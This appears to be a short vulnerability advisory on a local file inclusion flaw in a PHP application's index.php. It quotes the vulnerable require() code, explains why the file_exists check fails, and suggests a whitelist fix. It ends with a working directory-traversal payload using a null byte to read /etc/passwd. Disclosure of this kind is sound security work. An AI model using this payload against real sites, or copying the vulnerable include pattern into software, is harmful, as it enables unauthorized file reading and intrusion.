[0x02] Bug: [Local File Inclusion]
|
|
######
|
|
|
|
Bugged file is: /[path]/index.php
|
|
|
|
[CODE]
|
|
|
|
$skin_temp = $_GET['preview'];
|
|
if(isset($_GET['preview']) && file_exists("./skin/$skin_temp/config.php")){
|
|
$skin = $_GET['preview'];
|
|
}
|
|
else{
|
|
$skin = vari("skin");
|
|
}
|
|
require("./skin/$skin/config.php");
|
|
|
|
[/CODE]
|
|
|
|
If 'preview' from GET is provided, we can include it just bypassing a stupid cheek.
|
|
file_exists("./skin/$skin_temp/config.php) <-- this cheek is stupid, becouse when
|
|
we set a value to $skin_temp , if we set a local file with a directory trasversal
|
|
it's obvious that the file exists, so it will be included.
|
|
|
|
[!] FIX: Use another filter instead of file_exists("./skin/$skin_temp/config.php)
|
|
Just filter $skin_temp before include it. A fix could be to declare $skin
|
|
with a standard or local value, or just put the allowed values in an array,
|
|
and cheek then if the skin provided is allowed. See is_in_array() function
|
|
|
|
|
|
[!] EXPLOIT: /[path]/index.php?preview=[local_file]%00
|
|
../../../../../../../../../../../../etc/passwd%00
